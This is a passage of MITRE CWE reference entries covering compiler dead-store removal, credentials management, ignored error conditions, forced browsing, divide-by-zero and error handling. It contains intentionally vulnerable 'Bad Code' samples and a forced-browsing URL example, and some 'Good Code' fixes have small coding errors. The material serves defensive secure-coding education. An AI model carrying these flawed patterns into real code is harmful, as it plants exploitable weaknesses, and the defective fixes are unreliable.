PLOVERCollapse of Data into Unsafe Value
CERT Java Secure CodingIDS11-JEliminate noncharacter code points before validation
+ References
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Character Stripping Vulnerabilities", Page 437.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Description, Relationships, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings
2008-11-24CWE Content TeamMITREInternal
updated Observed_Examples
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2009-07-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-06-21CWE Content TeamMITREInternal
updated Description, Observed_Examples
2010-12-13CWE Content TeamMITREInternal
updated Relationships
2011-03-29CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships

CWE-14: Compiler Removal of Code to Clear Buffers

Weakness ID: 14
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka "dead store removal."

Extended Description

This compiler optimization error occurs when:

1. Secret data are stored in memory.

2. The secret data are scrubbed from memory by overwriting its contents.

3. The source code is compiled using an optimizing compiler, which identifies and removes the function that overwrites the contents as a dead store because the memory is not used subsequently.

+ Time of Introduction
  • Implementation
  • Build and Compilation
+ Applicable Platforms

Languages

C

C++

+ Common Consequences
ScopeEffect
Confidentiality
Access Control

Technical Impact: Read memory; Bypass protection mechanism

This weakness will allow data that has not been cleared from memory to be read. If this data contains sensitive password information, then an attacker can read the password and use the information to bypass protection mechanisms.

+ Detection Methods

Black Box

This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

White Box

This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

+ Demonstrative Examples

Example 1

The following code reads a password from the user, uses the password to connect to a back-end mainframe and then attempts to scrub the password from memory using memset().

(Bad Code)
Example Language:
void GetData(char *MFAddr) {
char pwd[64];
if (GetPasswordFromUser(pwd, sizeof(pwd))) {

if (ConnectToMainframe(MFAddr, pwd)) {

// Interaction with mainframe
}
}
memset(pwd, 0, sizeof(pwd));
}

The code in the example will behave correctly if it is executed verbatim, but if the code is compiled using an optimizing compiler, such as Microsoft Visual C++ .NET or GCC 3.x, then the call to memset() will be removed as a dead store because the buffer pwd is not used after its value is overwritten [18]. Because the buffer pwd contains a sensitive value, the application may be vulnerable to attack if the data are left memory resident. If attackers are able to access the correct region of memory, they may use the recovered password to gain control of the system.

It is common practice to overwrite sensitive data manipulated in memory, such as passwords or cryptographic keys, in order to prevent attackers from learning system secrets. However, with the advent of optimizing compilers, programs do not always behave as their source code alone would suggest. In the example, the compiler interprets the call to memset() as dead code because the memory being written to is not subsequently used, despite the fact that there is clearly a security motivation for the operation to occur. The problem here is that many compilers, and in fact many programming languages, do not take this and other security concerns into consideration in their efforts to improve efficiency.

Attackers typically exploit this type of vulnerability by using a core dump or runtime mechanism to access the memory used by a particular application and recover the secret information. Once an attacker has access to the secret information, it is relatively straightforward to further exploit the system and possibly compromise other resources with which the application interacts.

+ Potential Mitigations

Phase: Implementation

Store the sensitive data in a "volatile" memory location if available.

Phase: Build and Compilation

If possible, configure your compiler so that it does not remove dead stores.

Phase: Architecture and Design

Where possible, encrypt sensitive data that are used by a software system.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory2Environment
Seven Pernicious Kingdoms (primary)700
ChildOfCategoryCategory633Weaknesses that Affect Memory
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory729OWASP Top Ten 2004 Category A8 - Insecure Storage
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfWeakness BaseWeakness Base733Compiler Optimization Removal or Modification of Security-critical Code
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory747CERT C Secure Coding Section 49 - Miscellaneous (MSC)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory963SFP Secondary Cluster: Exposed Data
Software Fault Pattern (SFP) Clusters (primary)888
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
+ Affected Resources
  • Memory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsInsecure Compiler Optimization
PLOVERSensitive memory uncleared by compiler optimization
OWASP Top Ten 2004A8CWE More SpecificInsecure Storage
CERT C Secure CodingMSC06-CBe aware of compiler optimization when dealing with sensitive data
CERT C++ Secure CodingMSC06-CPPBe aware of compiler optimization when dealing with sensitive data
Software Fault PatternsSFP23Exposed Data
+ References
[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 9, "A Compiler Optimization Caveat" Page 322. 2nd Edition. Microsoft. 2002.
Michael Howard. "When scrubbing secrets in memory doesn't work". BugTraq. 2002-11-05. <http://cert.uni-stuttgart.de/archive/bugtraq/2002/11/msg00046.html>.
Michael Howard. "Some Bad News and Some Good News". Microsoft. 2002-10-21. <http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncode/html/secure10102002.asp>.
Joseph Wagner. "GNU GCC: Optimizer Removes Code Necessary for Security". Bugtraq. 2002-11-16. <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-11/0257.html>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
7 Pernicious KingdomsExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Relationships
2008-11-24CWE Content TeamMITREInternal
updated Applicable_Platforms, Description, Detection_Factors, Other_Notes, Potential_Mitigations, Relationships, Taxonomy_Mappings, Time_of_Introduction
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2010-02-16CWE Content TeamMITREInternal
updated References
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Common_Consequences, References, Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2017-01-19CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Insecure Compiler Optimization

CWE CATEGORY: Credentials Management

Category ID: 255
Status: Draft
+ Description

Description Summary

Weaknesses in this category are related to the management of credentials.
+ Applicable Platforms

Languages

All

+ Detection Methods

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Focused Manual Spotcheck - Focused manual analysis of source

Cost effective for partial coverage:

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Attack Modeling

Effectiveness: SOAR High

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory254Security Features
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
Weaknesses in OWASP Top Ten (2004) (primary)711
ParentOfWeakness VariantWeakness Variant261Weak Cryptography for Passwords
Development Concepts (primary)699
ParentOfWeakness VariantWeakness Variant262Not Using Password Aging
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base263Password Aging with Long Expiration
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base521Weak Password Requirements
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base522Insufficiently Protected Credentials
Development Concepts (primary)699
ParentOfWeakness VariantWeakness Variant549Missing Password Field Masking
Development Concepts (primary)699
ParentOfWeakness VariantWeakness Variant620Unverified Password Change
Development Concepts699
ParentOfWeakness BaseWeakness Base640Weak Password Recovery Mechanism for Forgotten Password
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base798Use of Hard-coded Credentials
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A3CWE More SpecificBroken Authentication and Session Management
+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2010-02-16CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors
2015-12-07CWE Content TeamMITREInternal
updated Relationships

CWE-390: Detection of Error Condition Without Action

Weakness ID: 390
Abstraction: Class
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software detects a specific error, but takes no actions to handle the error.
+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

All

+ Common Consequences
ScopeEffect
Integrity
Other

Technical Impact: Varies by context; Unexpected state; Alter execution logic

An attacker could utilize an ignored error condition to place the system in an unexpected state that could lead to the execution of unintended logic and could cause other unintended behavior.

+ Likelihood of Exploit

Medium

+ Demonstrative Examples

Example 1

The following example attempts to allocate memory for a character. After the call to malloc, an if statement is used to check whether the malloc function failed.

(Bad Code)
Example Language:
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
//We do nothing so we just ignore the error.
}

The conditional successfully detects a NULL return value from malloc indicating a failure, however it does not do anything to handle the problem. Unhandled errors may have unexpected results and may cause the program to crash or terminate.

Instead, the if block should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following example notifies the user that the malloc function did not allocate the required memory resources and returns an error code.

(Good Code)
Example Language:
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
printf("Malloc failed to allocate memory resources");
return -1;
}

Example 2

In the following C++ example the method readFile() will read the file whose name is provided in the input parameter and will return the contents of the file in char string. The method calls open() and read() may result in errors if the file does not exist or does not contain any data to read. These errors will be thrown when the is_open() method and good() method indicate errors opening or reading the file. However, these errors are not handled within the catch statement. Catch statements that do not perform any processing will have unexpected results. In this case an empty char string will be returned, and the file will not be properly closed.

(Bad Code)
Example Language: C++ 
char* readfile (char *filename) {
try {
// open input file
ifstream infile;
infile.open(filename);

if (!infile.is_open()) {
throw "Unable to open file " + filename;
}

// get length of file
infile.seekg (0, ios::end);
int length = infile.tellg();
infile.seekg (0, ios::beg);

// allocate memory
char *buffer = new char [length];

// read data from file
infile.read (buffer,length);

if (!infile.good()) {
throw "Unable to read from file " + filename;
}

infile.close();

return buffer;
}
catch (...) {
/* bug: insert code to handle this later */
}
}

The catch statement should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following C++ example contains two catch statements. The first of these will catch a specific error thrown within the try block, and the second catch statement will catch all other errors from within the catch block. Both catch statements will notify the user that an error has occurred, close the file, and rethrow to the block that called the readFile() method for further handling or possible termination of the program.

(Good Code)
Example Language: C++ 
char* readFile (char *filename) {
try {
// open input file
ifstream infile;
infile.open(filename);

if (!infile.is_open()) {
throw "Unable to open file " + filename;
}

// get length of file
infile.seekg (0, ios::end);
int length = infile.tellg();
infile.seekg (0, ios::beg);

// allocate memory
char *buffer = new char [length];

// read data from file
infile.read (buffer,length);

if (!infile.good()) {
throw "Unable to read from file " + filename;
}
infile.close();

return buffer;
}
catch (char *str) {
printf("Error: %s \n", str);
infile.close();
throw str;
}
catch (...) {
printf("Error occurred trying to read from file \n");
infile.close();
throw;
}
}

Example 3

In the following Java example the method readFile will read the file whose name is provided in the input parameter and will return the contents of the file in a String object. The constructor of the FileReader object and the read method call may throw exceptions and therefore must be within a try/catch block. While the catch statement in this example will catch thrown exceptions in order for the method to compile, no processing is performed to handle the thrown exceptions. Catch statements that do not perform any processing will have unexpected results. In this case, this will result in the return of a null String.

(Bad Code)
Example Language: Java 
public String readFile(String filename) {
String retString = null;
try {
// initialize File and FileReader objects
File file = new File(filename);
FileReader fr = new FileReader(file);

// initialize character buffer
long fLen = file.length();
char[] cBuf = new char[(int) fLen];

// read data from file
int iRead = fr.read(cBuf, 0, (int) fLen);

// close file
fr.close();

retString = new String(cBuf);

} catch (Exception ex) {
/* do nothing, but catch so it'll compile... */
}
return retString;
}

The catch statement should contain statements that either attempt to fix the problem, notify the user that an exception has been raised and continue processing, or perform some cleanup and gracefully terminate the program. The following Java example contains three catch statements. The first of these will catch the FileNotFoundException that may be thrown by the FileReader constructor called within the try/catch block. The second catch statement will catch the IOException that may be thrown by the read method called within the try/catch block. The third catch statement will catch all other exceptions thrown within the try block. For all catch statements the user is notified that the exception has been thrown and the exception is rethrown to the block that called the readFile() method for further processing or possible termination of the program. Note that with Java it is usually good practice to use the getMessage() method of the exception class to provide more information to the user about the exception raised.

(Good Code)
Example Language: Java 
public String readFile(String filename) throws FileNotFoundException, IOException, Exception {
String retString = null;
try {
// initialize File and FileReader objects
File file = new File(filename);
FileReader fr = new FileReader(file);

// initialize character buffer
long fLen = file.length();
char [] cBuf = new char[(int) fLen];

// read data from file
int iRead = fr.read(cBuf, 0, (int) fLen);

// close file
fr.close();

retString = new String(cBuf);

} catch (FileNotFoundException ex) {
System.err.println ("Error: FileNotFoundException opening the input file: " + filename );
System.err.println ("" + ex.getMessage() );
throw new FileNotFoundException(ex.getMessage());
} catch (IOException ex) {
System.err.println("Error: IOException reading the input file.\n" + ex.getMessage() );
throw new IOException(ex);
} catch (Exception ex) {
System.err.println("Error: Exception reading the input file.\n" + ex.getMessage() );
throw new Exception(ex);
}
return retString;
}
+ Potential Mitigations

Phase: Implementation

Properly handle each exception. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

Phase: Implementation

If a function returns an error, it is important to either fix the problem and try again, alert the user that an error has happened and let the program continue, or alert the user and close and cleanup the program.

Phase: Testing

Subject the software to extensive testing to discover some of the possible instances of where/how errors or return values are not handled. Consider testing techniques such as ad hoc, equivalence partitioning, robustness and fault tolerance, mutation, and fuzzing.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory389Error Conditions, Return Values, Status Codes
Development Concepts (primary)699
ChildOfCategoryCategory728OWASP Top Ten 2004 Category A7 - Improper Error Handling
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfWeakness ClassWeakness Class755Improper Handling of Exceptional Conditions
Research Concepts (primary)1000
ChildOfCategoryCategory851CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory880CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory962SFP Secondary Cluster: Unchecked Status Condition
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness BaseWeakness Base401Improper Release of Memory Before Removing Last Reference ('Memory Leak')
Research Concepts1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
PeerOfWeakness BaseWeakness Base600Uncaught Exception in Servlet
Research Concepts1000
CanAlsoBeWeakness VariantWeakness Variant81Improper Neutralization of Script in an Error Message Web Page
Research Concepts1000
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPImproper error handling
CERT Java Secure CodingERR00-JDo not suppress or ignore checked exceptions
CERT C++ Secure CodingERR39-CPPGuarantee exception safety
Software Fault PatternsSFP4Unchecked Status Condition
+ References
[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 11: Failure to Handle Errors Correctly." Page 183. McGraw-Hill. 2010.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
CLASPExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITREInternal
updated Demonstrative_Examples, Description, Other_Notes, Potential_Mitigations
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2009-07-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITREInternal
updated Common_Consequences
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Common_Consequences, References, Relationships
2014-02-18CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Improper Error Handling

CWE-425: Direct Request ('Forced Browsing')

Weakness ID: 425
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files.

Extended Description

Web applications susceptible to direct request attacks often make the false assumption that such resources can only be reached through a given navigation path and so only apply authorization at certain points in the path.

+ Alternate Terms
forced browsing:

The "forced browsing" term could be misinterpreted to include weaknesses such as CSRF or XSS, so its use is discouraged.

+ Time of Introduction
  • Architecture and Design
  • Implementation
  • Operation
+ Applicable Platforms

Languages

Language-independent

+ Common Consequences
ScopeEffect
Confidentiality
Integrity
Availability
Access Control

Technical Impact: Read application data; Modify application data; Execute unauthorized code or commands; Gain privileges / assume identity

+ Demonstrative Examples

Example 1

If forced browsing is possible, an attacker may be able to directly access a sensitive page by entering a URL similar to the following.

(Attack)
Example Language: JSP 
http://somesite.com/someapplication/admin.jsp
+ Observed Examples
ReferenceDescription
Bypass authentication via direct request.
Infinite loop or infoleak triggered by direct requests.
Bypass auth/auth via direct request.
Direct request leads to infoleak by error.
Direct request leads to infoleak by error.
Direct request leads to infoleak by error.
Authentication bypass via direct request.
Authentication bypass via direct request.
Authorization bypass using direct request.
Access privileged functionality using direct request.
Upload arbitrary files via direct request.
+ Potential Mitigations

Phases: Architecture and Design; Operation

Apply appropriate access control authorizations for each access to all restricted URLs, scripts or files.

Phase: Architecture and Design

Consider using MVC based frameworks such as Struts.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base288Authentication Bypass Using an Alternate Path or Channel
Development Concepts699
Research Concepts1000
ChildOfWeakness ClassWeakness Class424Improper Protection of Alternate Path
Development Concepts699
Research Concepts1000
ChildOfCategoryCategory442Web Problems
Development Concepts699
ChildOfCategoryCategory721OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory722OWASP Top Ten 2004 Category A1 - Unvalidated Input
Weaknesses in OWASP Top Ten (2004)711
ChildOfCategoryCategory723OWASP Top Ten 2004 Category A2 - Broken Access Control
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfWeakness ClassWeakness Class862Missing Authorization
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory953SFP Secondary Cluster: Missing Endpoint Authentication
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness BaseWeakness Base98Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
Research Concepts1000
CanPrecedeWeakness BaseWeakness Base471Modification of Assumed-Immutable Data (MAID)
Research Concepts1000
PeerOfWeakness BaseWeakness Base288Authentication Bypass Using an Alternate Path or Channel
Research Concepts1000
+ Relationship Notes

Overlaps Modification of Assumed-Immutable Data (MAID), authorization errors, container errors; often primary to other weaknesses such as XSS and SQL injection.

+ Theoretical Notes

"Forced browsing" is a step-based manipulation involving the omission of one or more steps, whose order is assumed to be immutable. The application does not verify that the first step was performed successfully before the second step. The consequence is typically "authentication bypass" or "path disclosure," although it can be primary to all kinds of weaknesses, especially in languages such as PHP, which allow external modification of assumed-immutable variables.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERDirect Request aka 'Forced Browsing'
OWASP Top Ten 2007A10CWE More SpecificFailure to Restrict URL Access
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A2CWE More SpecificBroken Access Control
WASC34Predictable Resource Location
Software Fault PatternsSFP30Missing endpoint authentication
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Sean EidemillerCigitalExternal
added/updated demonstrative examples
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Alternate_Terms, Relationships, Relationship_Notes, Taxonomy_Mappings, Theoretical_Notes
2008-10-14CWE Content TeamMITREInternal
updated Description
2010-02-16CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2011-03-29CWE Content TeamMITREInternal
updated Applicable_Platforms, Description, Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships
2012-05-11CWE Content TeamMITREInternal
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings

CWE-369: Divide By Zero

Weakness ID: 369
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The product divides a value by zero.

Extended Description

This weakness typically occurs when an unexpected value is provided to the product, or if an error occurs that is not properly detected. It frequently occurs in calculations involving physical dimensions such as size, length, width, and height.

+ Time of Introduction
  • Implementation
+ Common Consequences
ScopeEffect
Availability

Technical Impact: DoS: crash / exit / restart

A Divide by Zero results in a crash.

+ Likelihood of Exploit

Medium

+ Demonstrative Examples

Example 1

The following Java example contains a function to compute an average but does not validate that the input value used as the denominator is not zero. This will create an exception for attempting to divide by zero. If this error is not handled by Java exception handling, unexpected results can occur.

(Bad Code)
Example Language: Java 
public int computeAverageResponseTime (int totalTime, int numRequests) {
return totalTime / numRequests;
}

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. The following Java code example will validate the input value, output an error message, and throw an exception.

(Good Code)
 
public int computeAverageResponseTime (int totalTime, int numRequests) throws ArithmeticException {
if (numRequests == 0) {
System.out.println("Division by zero attempted!");
throw ArithmeticException;
}
return totalTime / numRequests;
}

Example 2

The following C/C++ example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

(Bad Code)
Example Languages: C and C++ 
double divide(double x, double y){
return x/y;
}

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. If the method is called and a zero is passed as the second argument a DivideByZero error will be thrown and should be caught by the calling block with an output message indicating the error.

(Good Code)
 
const int DivideByZero = 10;
double divide(double x, double y){
if ( 0 == y ){
throw DivideByZero;
}
return x/y;
}
...
try{
divide(10, 0);
}
catch( int i ){
if(i==DivideByZero) {
cerr<<"Divide by zero error";
}
}

Example 3

The following C# example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

(Bad Code)
Example Language: C# 
int Division(int x, int y){
return (x / y);
}

The method can be modified to raise, catch and handle the DivideByZeroException if the input value used as the denominator is zero.

(Good Code)
 
int SafeDivision(int x, int y){
try{
return (x / y);
}
catch (System.DivideByZeroException dbz){
System.Console.WriteLine("Division by zero attempted!");
return 0;
}
}

Example 3 References:

+ Observed Examples
ReferenceDescription
Invalid size value leads to divide by zero.
"Empty" content triggers divide by zero.
Height value of 0 triggers divide by zero.
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class682Incorrect Calculation
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory730OWASP Top Ten 2004 Category A9 - Denial of Service
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory738CERT C Secure Coding Section 04 - Integers (INT)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory739CERT C Secure Coding Section 05 - Floating Point (FLP)
Weaknesses Addressed by the CERT C Secure Coding Standard734
ChildOfCategoryCategory848CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory872CERT C++ Secure Coding Section 04 - Integers (INT)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory873CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)
Weaknesses Addressed by the CERT C++ Secure Coding Standard868
ChildOfCategoryCategory998SFP Secondary Cluster: Glitch in Computation
Software Fault Pattern (SFP) Clusters (primary)888
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A9CWE More SpecificDenial of Service
CERT C Secure CodingFLP03-CDetect and handle floating point errors
CERT C Secure CodingINT33-CEnsure that division and modulo operations do not result in divide-by-zero errors
CERT Java Secure CodingNUM02-JEnsure that division and modulo operations do not result in divide-by-zero errors
CERT C++ Secure CodingINT33-CPPEnsure that division and modulo operations do not result in divide-by-zero errors
CERT C++ Secure CodingFLP03-CPPDetect and handle floating point errors
Software Fault PatternsSFP1Glitch in computation
+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-07-01Sean EidemillerCigitalExternal
added/updated demonstrative examples
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITREInternal
updated Other_Notes
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITREInternal
updated Relationships

CWE CATEGORY: Error Handling

Category ID: 388
Status: Draft
+ Description

Description Summary

This category includes weaknesses that occur when an application does not properly handle errors that occur during processing.

Extended Description

An attacker may discover this type of error, as forcing these errors can occur with a variety of corrupt input.

+ Common Consequences
ScopeEffect
Integrity
Confidentiality

Technical Impact: Read application data; Modify files or directories

Generally, the consequences of improper error handling are the disclosure of the internal workings of the application to the attacker, providing details to use in further attacks. Web applications that do not properly handle error conditions frequently generate error messages such as stack traces, detailed diagnostics, and other inner details of the application.

+ Demonstrative Examples

Example 1

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

(Bad Code)
Example Language: Java 
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
...
}
catch (ApplicationSpecificException ase) {
logger.error("Caught: " + ase.toString());
}
}
+ Potential Mitigations

Use a standard exception handling mechanism to be sure that your application properly handles all types of processing errors. All error messages sent to the user should contain as little detail as necessary to explain what happened.

If the error was caused by unexpected and likely malicious input, it may be appropriate to send the user no error message other than a simple "could not process the request" response.

The details of the error and its cause should be recorded in a detailed diagnostic log for later analysis. Do not allow the application to throw errors up to the application container, generally the web application server.

Be sure that the container is properly configured to handle errors if you choose to let any errors propagate up to it.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory18Source Code
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory728OWASP Top Ten 2004 Category A7 - Improper Error Handling
Weaknesses in OWASP Top Ten (2004) (primary)711
ParentOfCategoryCategory389Error Conditions, Return Values, Status Codes
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base391Unchecked Error Condition
